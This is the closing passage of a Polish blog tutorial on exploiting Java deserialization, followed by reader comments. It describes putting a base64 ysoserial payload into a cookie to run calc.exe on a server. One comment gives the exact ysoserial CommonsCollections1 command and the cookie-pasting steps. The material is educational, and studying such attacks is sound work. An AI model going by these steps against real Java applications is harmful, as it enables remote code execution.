Jak widać, nasze magiczne bajty są na miejscu. Następnie musimy zakodować nasz payload za pomocą base64:

demo-figure6

Kolejny raz podświetliłem magiczne bajty. Po przeklejeniu wynikowego ciągu znaków do wartości ciastka i odświeżeniu strony, nasz serwer nie będzie zadowolony: tak jak wspominałem, prawdą jest, że zostanie rzucony wyjątek ClassCastException. Nas to jednak nie obchodzi – jest za późno, obiekt został stworzony, a nasz payload wykonany. Dowodem na to jest fakt, że równolegle ze zwróconym błędem 500 z serwera, zobaczymy taki widok:

demo-figure7

Kalkulator == Game Over.

meme-figure3

 

Podsumowanie

Jak widać, problemy bezpieczeństwa z deserializacją występują również w Javie. Co więcej, tak jak w innych przypadkach są one bardzo łatwe do wyexploitowania (szczególnie z wykorzystaniem narzędzia ysoserial). Jedynym problemem są gadżety, a tych nie brakuje (polecam odpalić ysoserial bez argumentów i oglądnąć pełną listę).

Dodatkowo, jak wspomniałem wcześniej, na początku maja 2016 wykonano kolejny krok milowy – Matthias Kaiser odnalazł ciąg gadżetów pochodzących tylko z JRE. Konsekwencji nie trzeba chyba nikomu tłumaczyć – potencjalnie każdy program Javowy używający serializacji jest podatny! Na szczęście, Oracle JRE7 jest podatne tylko w bardzo starej wersji (JRE7u13), a aktualnie podatność ta została odnaleziona w OpenJDK7. Jakkolwiek JRE od OpenJDK jest dużo mniej popularne od JRE od Oracle, należy jednak pamiętać, że jest ono domyślnym środowiskiem Javowym dostępnym w wielu dystrybucjach Linuksa (m.in. Debian i Ubuntu).

 

W następnej części artykułu sprawdzimy, czy w Javie serializacja danych do XML/JSON jest bezpieczniejsza od tej natywnej. Dodatkowo, przedstawię nowe zagrożenia, które są możliwe do wykorzystania nawet jeśli z jakichś powodów (na przykład – brak gadżetów) RCE na serwerze jest nieosiągalne.

Linki

–Mateusz Niezabitowski jest byłym Developerem, który w pewnym momencie stwierdził że tworzenie aplikacji jest fajne, ale psucie ich jeszcze bardziej. Aktualnie pracuje na stanowisku AppSec Engineer w firmie Ocado Technology.

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Marcin

    Super artykuł. Widać, że autor ma korzenie developerskie i dobrze zna technologie. Czekam z niecierpliwością na kolejną część.

    Odpowiedz
  2. Amadeuszx

    Robi wrażenie :-)

    Takie małe uwagi:
    1) w konstruktorze AnnotationInvocationHandler prosił bym jednak przywrócić słówko „this”.
    2) AnnotationInvocationHandler wg komentarza jest napisane przez Joshue Blocha – autora książki „Effective Java” w której generalnie narzekał na serializację, jej niewygodę i problemy z bezpieczeństwem (wiele singletonów, przykłady ataku na obiekty z wykorzystaniem tej technologii).

    Z niecierpliwością czekam na kolejne części tej serii :-)

    Odpowiedz
  3. xern

    jak odpalić podane przykłady?

    ręczny sposób odpalenia

    javac PayloadGenerator.java
    Note: PayloadGenerator.java uses unchecked or unsafe operations.
    Note: Recompile with -Xlint:unchecked for details.

    Kod pobrałem z podanego w artykule linku.

    javac -Xlint:unchecked PayloadGenerator.java
    PayloadGenerator.java:31: warning: [unchecked] unchecked call to put(K,V) as a member of the raw type Map
    originalMap.put(„value”, „value”);
    ^
    where K,V are type-variables:
    K extends Object declared in interface Map
    V extends Object declared in interface Map
    PayloadGenerator.java:35: warning: [unchecked] unchecked call to getDeclaredConstructor(Class…) as a member of the raw type Class
    Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
    ^
    where T is a type-variable:
    T extends Object declared in class Class
    2 warnings

    Utworzony payloader z programu ysoserial.jar nic nie uruchamia..
    jedyna reakcja strony to wypisanie Anonymous po wklejeniu zakodowanego payloadera

    Odpowiedz
  4. xern

    eclipse output:
    ��
    iTransformerst
    getRuntimet
    loadFactorI

    Odpowiedz
  5. Konrad

    Dziękuję bardzo za genialny artykuł. Jest bardzo pomocny i rozwojowy. Jestem bardzo wdzięczny autorowi za przybliżenie tematu. Jest to najbardziej spójny i szczegółowy artykuł jaki znalazłem na temat podatności deserializacji javy w internecie.

    Mimo dużej szczegółowości chciałbym dopisać coś od siebie dla osób mniej zaawansowanych które chciałyby wykonać podany przykład. Jeśli chcemy wykonać przykład na Windowsie to polecenie generujące payload do uruchomienia kalkulatora (które trzeba uruchomić na linux’ie jeśli chcemy uzyskać odpowiedź w postaci base64) powinno wyglądać tak: „java -jar ysoserial-all.jar CommonsCollections1 calc.exe | base64”. Wynik tego polecenia powinien zostać wklejony do przeglądarki w cudzysłowiu „”. Miejsce wklejenia łańcucha gadżetów to w Firefox F12 -> Dane -> Ciasteczka oraz w Chrome analogicznie F12 -> Application -> Storage -> Cookies. W moim przypadku dodatki do przeglądarki typu „Cookies Editor” nie działały.

    Odpowiedz

Odpowiedz